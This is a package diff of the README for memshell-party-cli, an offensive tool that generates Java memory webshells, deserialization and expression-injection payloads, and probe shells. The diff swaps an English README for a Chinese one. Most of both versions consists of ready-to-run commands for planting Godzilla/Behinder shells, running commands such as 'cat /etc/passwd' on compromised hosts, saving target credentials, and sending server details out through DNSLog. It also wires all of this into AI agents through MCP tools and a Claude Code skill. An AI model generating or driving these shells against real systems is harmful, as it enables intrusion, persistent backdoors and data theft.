memshell-party-cli 0.3.0 → 0.3.2

package/README.md

@@ -1,371 +1,387 @@
-# memshell-party-cli
-
-English | [中文](README.zh-CN.md)
-
-Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
-memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
-same HTTP API that powers `party.mem.mk/ui`.
-
-> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
-> for how you use it.
-
-## Features
-
-- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
-  from live, API-driven menus.
-- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
-- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
-- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
-- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
-  is alive and the credentials work (echo/handshake round-trip).
-- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
-  and prints its output (real `execCommand` / `Cmd` payload round-trip).
-- **Named targets** — `memparty target save` stores shells in projects (with remark + category),
-  then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
-- **Operation log** — every gen/probe/connect/exec/target operation is appended to
-  `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
-- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
-- **Any backend** — defaults to the public site, override to your self-hosted instance.
-
-## Install
-
-```bash
-npm install -g memshell-party-cli
-# or run without installing:
-npx memshell-party-cli gen
-```
-
-Requires Node.js >= 18.
-
-## Choosing the backend
-
-By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
-default `https://party.mem.mk`.
-
-Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
-
-```bash
-memparty --api http://127.0.0.1:8080 gen
-# or
-export MEMPARTY_API_URL=http://127.0.0.1:8080
-```
-
-## Usage
-
-### Interactive
-
-```bash
-memparty gen        # wizard for a memory shell
-memparty probe      # wizard for a probe shell
-```
-
-The wizard launches automatically when required flags are missing and you're in a terminal.
-Force it anytime with `-i`, or disable it with `--no-interactive`.
-
-### Scripted generation
-
-```bash
-# Godzilla listener for Tomcat, single Base64 payload to stdout
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key --jdk java8
-
-# Write a decoded .class file (base64 decoding is automatic for .class/.jar)
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key -o shell.class
-
-# Command shell with an explicit encryptor
-memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
-  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
-
-# Full JSON response (metadata + payload) for further processing
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
-```
-
-`--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
-
-Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
-pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
-
-### Discovering options
-
-```bash
-memparty config servers          # servers and their shell types
-memparty config tools Tomcat     # tools + types for one server
-memparty config packers          # packer parent/child tree
-memparty config command          # Command encryptors & implementation classes
-memparty config servers --json   # machine-readable
-```
-
-### Probe shells
-
-```bash
-memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
-memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
-```
-
-Probe method × content matrix (only these combos are supported by the backend):
-
-| Method `-m` | Supported content `-c` |
-|-------------|-------------------------|
-| `DNSLog` | `Server`, `JDK` |
-| `Sleep` | `Server` |
-| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
-
-### Testing a deployed shell
-
-`memparty connect` checks whether a shell that is already injected/uploaded actually answers —
-it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
-tunnel handshake) and exits 0 on success, 1 on failure.
-
-```bash
-# Godzilla (defaults: --pass pass --key key)
-memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
-
-# Behinder (default: --pass rebeyond)
-memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
-
-# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
-memparty connect -u http://target/suo5.jsp -t suo5
-```
-
-Shells generated by MemShellParty are gated by an auth header — the values are in the
-`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
-(the Suo5v2 shell checks it too):
-
-```bash
-memparty connect -u http://target/x -t godzilla --pass pass --key key \
-  --header-name User-Agent --header-value qSGAJScj
-```
-
-Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
-`--json` for machine-readable output, `--timeout <ms>` (global option).
-
-### Executing commands on a deployed shell
-
-`memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
-remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
-(argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
-class (which picks the shell itself based on the remote `os.name`).
-
-```bash
-# Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
-# pass --os windows|linux to skip the detection
-memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
-
-# Behinder — the payload detects the OS itself, no extra request
-memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
-```
-
-The gate-header flags are the same as for `connect`; `--json` returns
-`{ ok, tool, url, command, output, durationMs }` for automation.
-
-### Saved targets (projects)
-
-Save a shell once, then reference it by name — no more flag soup. Shells live inside
-**projects**: a project groups several shells of one engagement and carries an optional
-`--remark` and `--category`. The store is `~/.memparty/targets.json`.
-
-```bash
-# save (project is created on the fly; --remark/--category are project-level,
-# --shell-remark describes this one shell)
-memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
-  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
-  --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
-
-# list everything (filter with --category <name>)
-memparty target list
-
-# use: <project>/<shell>, or a bare project name when it holds exactly one shell
-memparty connect hw222/bh9060
-memparty exec hw222 --cmd "whoami"
-
-# edit project meta or a shell's remark / clean up
-memparty target note hw222 --remark "new remark" --category prod
-memparty target note hw222/bh9060 --remark "new shell note"
-memparty target remove hw222/bh9060   # one shell
-memparty target remove hw222          # the whole project
-```
-
-Explicit flags still override stored values (`memparty exec hw222 --cmd id --pass otherpass`).
-
-### Operation log
-
-Every operation (gen, probe, connect, exec, target save/note/remove) is appended as one JSON
-line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the command
-plus truncated output. Credentials and payload bytes are never logged.
-
-```bash
-memparty log                          # latest 50 operations, newest first
-memparty log --category exec          # only command executions
-memparty log --target hw222           # everything against one project (or a host substring)
-memparty log --category connect --json
-```
-
-## Demos
-
-End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
-match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
-the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
-`memparty config packers` first.
-
-### 1. Godzilla webshell on Tomcat 9 (javax)
-
-```bash
-# Listener-based Godzilla shell, single base64 payload to stdout
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key --jdk java8
-
-# ...or write the decoded injector .class straight to disk
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key -o shell.class
-```
-
-### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
-  --godzilla-pass pass --godzilla-key key --jdk java17
-```
-
-### 3. Pure command-execution shell (RCE)
-
-```bash
-memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
-  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
-```
-
-### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
-  --godzilla-pass pass --godzilla-key key --jdk java8
-# other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
-```
-
-### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
-
-```bash
-# Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
-memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
-  --command-param-name cmd --jdk java8
-# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
-# (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
-```
-
-### 6. Drop a JSP file
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
-  --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
-```
-
-### 7. Java-agent memory shell (survives redeploys, hooks deep)
-
-```bash
-memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
-  --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
-```
-
-### 8. Fingerprint the target first (blind)
-
-```bash
-# DNSLog: confirm code execution + exfil the server/JDK name via DNS
-memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
-# Sleep: time-based blind — delays Ns only if the server matches your guess
-memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
-```
-
-The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
-
-### Parse a class name
-
-```bash
-memparty parse-classname --file shell.class
-memparty parse-classname <base64-of-class-bytes>
-```
-
-### Version
-
-```bash
-memparty version          # CLI version + backend server version
-```
-
-## MCP server
-
-Run the CLI as an MCP server over stdio:
-
-```bash
-memparty mcp --api http://127.0.0.1:8080
-```
-
-Example Claude Code / Claude Desktop config:
-
-```json
-{
-  "mcpServers": {
-    "memshell-party": {
-      "command": "npx",
-      "args": ["-y", "memshell-party-cli", "mcp"],
-      "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
-    }
-  }
-}
-```
-
-Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
-`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
-`exec_command`, `target_save`, `target_note`, `target_list`, `target_remove`, `log_list`.
-
-## AI skill (Claude Code)
-
-The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
-`skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
-server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
-guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
-
-Install it into a project (or drop it in `~/.claude/skills/` for global use):
-
-```bash
-# from the package root, or after `npm install memshell-party-cli`:
-mkdir -p .claude/skills
-cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
-```
-
-Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
-*"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
-the agent to enumerate options first and pick the right packer for the vector.
-
-## Programmatic use
-
-The package also ships a typed API client:
-
-```ts
-import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
-
-const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
-const res = await client.generateMemShell(
-  buildMemShellRequest({
-    server: "Tomcat",
-    shellTool: "Godzilla",
-    shellType: "Listener",
-    packer: "DefaultBase64",
-    godzillaPass: "pass",
-    godzillaKey: "key",
-    jdk: "java8",
-  }),
-);
-console.log(res.memShellResult.shellClassName, res.packResult);
-```
-
-## Development
-
-```bash
-npm install
-npm run build       # tsup -> dist/
-npm test            # vitest
-npm run typecheck   # tsc --noEmit
-```
-
-## License
-
-MIT
+# memshell-party-cli
+
+[English](README.en.md) | 中文
+
+[MemShellParty](https://party.mem.mk) 的命令行客户端 **兼** MCP 服务器 —— 直接在终端（或 AI
+代理）里生成 Java 内存马和探测马，走的是与 `party.mem.mk/ui` 相同的 HTTP API。
+
+> ⚠️ 仅限授权安全测试、红队行动与研究用途。如何使用由你自己负责。
+
+## 功能特性
+
+- **交互式向导** —— 不带参数运行 `memparty gen`，从实时拉取的 API 菜单中选择
+  服务器 / 工具 / 类型 / 打包器。
+- **完全可脚本化** —— 每个选项都有对应命令行参数，CI 或脚本中可以精确复现；
+  `--json` 模式下连错误都是结构化 JSON（`{"ok":false,"error":...}`）。
+- **REPL** —— 裸 `memparty` 进入交互循环，一次会话跑多个命令，目标名随存随用。
+- **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具，供 Claude 及其他 MCP 客户端调用。
+- **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
+- **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
+  凭证是否正确（回显 / 握手双向校验）。
+- **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
+  （真实 `execCommand` / `Cmd` payload 往返）。
+- **命名目标** —— `memparty save` 把 shell 存进项目（支持备注 + 分类），之后
+  `memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
+- **操作日志** —— 每次 gen/probe/connect/exec/save/note/remove 操作都追加到
+  `~/.memparty/operations.jsonl`，`memparty log` 按分类和目标查询。
+- **灵活的输出** —— payload 默认输出到 stdout，`-o file` 写文件（`.class`/`.jar` 自动
+  base64 解码）。
+- **任意后端** —— 默认使用公共站点，可切换为自建实例。
+
+## 安装
+
+```bash
+npm install -g memshell-party-cli
+# 或者免安装直接运行：
+npx memshell-party-cli gen
+```
+
+要求 Node.js >= 18。
+
+## 选择后端
+
+优先级从高到低：`--api` 参数 → `MEMPARTY_API_URL` 环境变量 → `~/.mempartyrc`
+（`{"apiUrl": "..."}`）→ 默认 `https://party.mem.mk`。
+
+建议自建（Docker 一行命令，见 MemShellParty 的 README）：
+
+```bash
+memparty --api http://127.0.0.1:8080 gen
+# 或者
+export MEMPARTY_API_URL=http://127.0.0.1:8080
+```
+
+## 用法
+
+### 交互模式
+
+裸 `memparty` 进入 REPL：一个进程里连续执行任意子命令，配合自动保存的命名目标，
+一次会话打通 生成 → 验证 → 执行：
+
+```text
+memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
+saved as '192.168.31.222/behinder'
+memparty> exec 192.168.31.222/behinder --cmd whoami
+memparty> list
+memparty> exit
+```
+
+带参数运行时行为不变（管道 / CI 里裸 `memparty` 仍打印帮助）。REPL 内 `help` 查看命令、
+`<子命令> --help` 查看示例、`exit`/`quit` 退出。`gen` / `probe` 的交互向导在 REPL 里照常可用：
+
+```bash
+memparty gen        # 内存马向导（REPL 外）
+memparty probe      # 探测马向导
+```
+
+当必需参数缺失且处于终端环境时，向导会自动启动。随时可用 `-i` 强制开启，或用
+`--no-interactive` 禁用。
+
+### 脚本化生成
+
+```bash
+# 生成 Tomcat 哥斯拉 Listener，单个 Base64 payload 输出到 stdout
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+  --godzilla-pass pass --godzilla-key key --jdk java8
+
+# 写出解码后的 .class 文件（.class/.jar 会自动 base64 解码）
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+  --godzilla-pass pass --godzilla-key key -o shell.class
+
+# 指定加密器的命令执行马
+memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
+  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
+
+# 输出完整 JSON（元数据 + payload），便于后续处理
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
+```
+
+`--jdk` 接受 `java6/8/9/11/17/21`、纯数字（`8`）或 class 文件主版本号（`52`）。
+
+注意：部分打包器（如 `Base64`）是*聚合*打包器，会一次返回多个变体；要单个 payload 请选
+叶子打包器（如 `DefaultBase64`、`GzipBase64`）。
+
+### 查询可用选项
+
+```bash
+memparty config servers          # 服务器及其 shell 类型
+memparty config tools Tomcat     # 指定服务器的工具 + 类型
+memparty config packers          # 打包器父子树
+memparty config command          # Command 马的加密器与实现类
+memparty config servers --json   # 机器可读输出
+```
+
+### 探测马
+
+```bash
+memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
+memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
+```
+
+探测方法 × 内容矩阵（后端仅支持以下组合）：
+
+| 方法 `-m` | 支持的内容 `-c` |
+|-----------|------------------|
+| `DNSLog` | `Server`, `JDK` |
+| `Sleep` | `Server` |
+| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
+
+### 测试已部署的马
+
+`memparty connect` 检查已经注入 / 上传的 shell 是否真的会应答 —— 它执行真实的协议握手
+（冰蝎回显、哥斯拉 payload 上传 + `test()` 调用、suo5 隧道握手），成功退出码 0，失败 1。
+
+```bash
+# 哥斯拉（默认：--pass pass --key key）
+memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
+
+# 冰蝎（默认：--pass rebeyond）
+memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
+
+# suo5（自动识别 v2 握手与旧版 v1 回显；可用 --suo5-mode v2|v1 强制指定）
+memparty connect -u http://target/suo5.jsp -t suo5
+```
+
+MemShellParty 生成的 shell 带门禁头校验 —— 取值在 `gen --json` 输出的
+`shellToolConfig.headerName` / `headerValue` 中，**必须**原样传给 connect
+（Suo5v2 的 shell 同样校验）：
+
+```bash
+memparty connect -u http://target/x -t godzilla --pass pass --key key \
+  --header-name User-Agent --header-value qSGAJScj
+```
+
+其他参数：`-H "Name: value"` 添加自定义请求头，`-k/--insecure` 跳过自签名 TLS 校验，
+`--json` 机器可读输出，`--timeout <ms>`（全局选项）。
+
+### 在已部署的马上执行命令
+
+`memparty exec` 通过已部署的哥斯拉 / 冰蝎 shell 执行命令，并打印远端 stdout+stderr。
+走的是真实协议 —— 哥斯拉调用 payload 的 `execCommand` 方法（argv 以 `arg-0..N` 传递，
+外面包 `cmd.exe /c` 或 `/bin/sh -c`）；冰蝎上传 `Cmd` payload 类（它自己根据远端
+`os.name` 选择 shell）。
+
+```bash
+# 哥斯拉 —— 默认先调 getBasicsInfo 自动探测远端系统（多一次请求）；
+# 传 --os windows|linux 可跳过探测
+memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
+
+# 冰蝎 —— payload 自己探测系统，无额外请求
+memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
+```
+
+门禁头参数与 `connect` 相同；`--json` 返回 `{ ok, tool, url, command, output, durationMs }`，
+方便脚本与 agent 使用。
+
+### 命名目标（项目）
+
+保存一次，之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里：一个项目
+归组同一次任务的多台 shell，并可带 `--remark` 备注和 `--category` 分类。
+存储文件为 `~/.memparty/targets.json`。
+
+`connect` / `exec` 成功后会**自动保存**为 `<主机>/<工具>`（如 `192.168.31.222/behinder`，
+加 `--no-save` 跳过），下次直接报这个名字即可；也可以用 `save` 显式指定名字：
+
+```bash
+# 保存（项目自动创建；--remark/--category 是项目级属性，
+# --shell-remark 是这台 shell 自己的备注）
+memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
+  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
+  --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
+
+# 列出全部（可按 --category <名称> 过滤）
+memparty list
+
+# 使用：<项目>/<shell>；项目里只有一个 shell 时光写项目名也行
+memparty connect hw222/bh9060
+memparty exec hw222 --cmd "whoami"
+
+# 改项目备注 / 改某台 shell 的备注 / 清理
+memparty note hw222 --remark "新备注" --category prod
+memparty note hw222/bh9060 --remark "新的 shell 备注"
+memparty remove hw222/bh9060   # 删单个 shell
+memparty remove hw222          # 删整个项目
+```
+
+显式参数仍会覆盖已存值（如 `memparty exec hw222 --cmd id --pass 其他密码`）。
+
+### 操作日志
+
+每次操作（gen、probe、connect、exec、save/note/remove）都以一行 JSON 追加到
+`~/.memparty/operations.jsonl` —— 记录目标、结果、耗时，exec 还记录命令和截断后的输出。
+凭证和 payload 内容不会写入日志。
+
+```bash
+memparty log                          # 最近 50 条，新的在前
+memparty log --category exec          # 只看命令执行
+memparty log --target hw222           # 某个项目（或主机名子串）的全部操作
+memparty log --category connect --json
+```
+
+## 示例
+
+端到端配方。**打包器**按投递途径选择，**shell 类型**按目标选择（Tomcat 10+ /
+Spring Boot 3 加 `Jakarta` 前缀；`Agent*` 类型搭配 `AgentJar*` 打包器）。拿不准时先运行
+`memparty config tools <server>` 和 `memparty config packers`。
+
+### 1. Tomcat 9（javax）上的哥斯拉内存马
+
+```bash
+# Listener 型哥斯拉马，单个 base64 payload 到 stdout
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+  --godzilla-pass pass --godzilla-key key --jdk java8
+
+# ……或直接把解码后的注入器 .class 写到磁盘
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+  --godzilla-pass pass --godzilla-key key -o shell.class
+```
+
+### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3（Jakarta）
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
+  --godzilla-pass pass --godzilla-key key --jdk java17
+```
+
+### 3. 纯命令执行马（RCE）
+
+```bash
+memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
+  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
+```
+
+### 4. 反序列化利用链（如 CommonsBeanutils ≤ 1.9.4）
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
+  --godzilla-pass pass --godzilla-key key --jdk java8
+# 其他链：JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
+```
+
+### 5. 表达式注入投递（SpEL / OGNL / EL / Groovy …）
+
+```bash
+# Spring SpEL 注入 -> define + load shell 类（Spring 用 Interceptor，不是 Filter）
+memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
+  --command-param-name cmd --jdk java8
+# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
+# （SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体）
+```
+
+### 6. 落地一个 JSP 文件
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
+  --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
+```
+
+### 7. Java agent 内存马（扛得住重部署，挂钩更深）
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
+  --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
+```
+
+### 8. 先做（盲）指纹识别
+
+```bash
+# DNSLog：确认可执行代码，并通过 DNS 带出服务器/JDK 名称
+memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
+# Sleep：时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
+memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
+```
+
+探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
+
+### 解析类名
+
+```bash
+memparty parse-classname --file shell.class
+memparty parse-classname <class字节的base64>
+```
+
+### 版本
+
+```bash
+memparty version          # CLI 版本 + 后端服务器版本
+```
+
+## MCP 服务器
+
+以 stdio 方式作为 MCP 服务器运行：
+
+```bash
+memparty mcp --api http://127.0.0.1:8080
+```
+
+Claude Code / Claude Desktop 配置示例：
+
+```json
+{
+  "mcpServers": {
+    "memshell-party": {
+      "command": "npx",
+      "args": ["-y", "memshell-party-cli", "mcp"],
+      "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
+    }
+  }
+}
+```
+
+暴露的工具：`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
+`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
+`exec_command`、`target_save`、`target_note`、`target_list`、`target_remove`、`log_list`。
+
+## AI 技能（Claude Code）
+
+本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills)，位于
+`skills/memshell-party/SKILL.md`，教 AI 代理如何驱动 MemShellParty ——
+服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导，以及常见坑
+（Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器）。
+
+安装到项目中（或放到 `~/.claude/skills/` 全局使用）：
+
+```bash
+# 在包根目录下，或 npm install memshell-party-cli 之后：
+mkdir -p .claude/skills
+cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
+```
+
+之后用自然语言提问即可，比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
+*"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
+先枚举选项，再按投递途径选合适的打包器。
+
+## 编程调用
+
+包内还提供带类型的 API 客户端：
+
+```ts
+import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
+
+const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
+const res = await client.generateMemShell(
+  buildMemShellRequest({
+    server: "Tomcat",
+    shellTool: "Godzilla",
+    shellType: "Listener",
+    packer: "DefaultBase64",
+    godzillaPass: "pass",
+    godzillaKey: "key",
+    jdk: "java8",
+  }),
+);
+console.log(res.memShellResult.shellClassName, res.packResult);
+```
+
+## 开发
+
+```bash
+npm install
+npm run build       # tsup -> dist/
+npm test            # vitest
+npm run typecheck   # tsc --noEmit
+```
+
+## 许可证
+
+MIT